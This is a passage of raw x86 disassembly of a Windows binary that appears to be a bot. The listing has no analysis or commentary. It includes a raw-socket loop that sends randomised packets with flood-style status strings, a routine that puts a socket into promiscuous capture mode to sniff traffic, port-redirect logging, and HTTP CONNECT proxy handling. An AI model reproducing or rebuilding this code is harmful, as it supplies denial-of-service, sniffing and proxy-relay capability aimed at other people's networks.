		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2830000h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	near ptr 71AB3E00h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EF4
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_429138
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429138:				; CODE XREF: sub_429120+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429150	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429170	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429290	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429290	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429350	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429350	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429420:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_429438
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429438:				; CODE XREF: ___:0042942Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429510:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDC2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_429548:				; CODE XREF: ___:0042A4D6j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A560
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_429600
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A4D0
; ---------------------------------------------------------------------------


loc_429600:				; CODE XREF: ___:004295C4j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_44720C
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_4296C5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A54F
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A54F
		jmp	loc_4298BA
; ---------------------------------------------------------------------------


loc_4296C5:				; CODE XREF: ___:00429647j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_4298BA
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A54F
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_4298BA
		mov	dword ptr [esp+10Ch], 50h


loc_4298BA:				; CODE XREF: ___:004296C0j
					; ___:0042970Cj ...
		push	offset asc_444600 ; " "
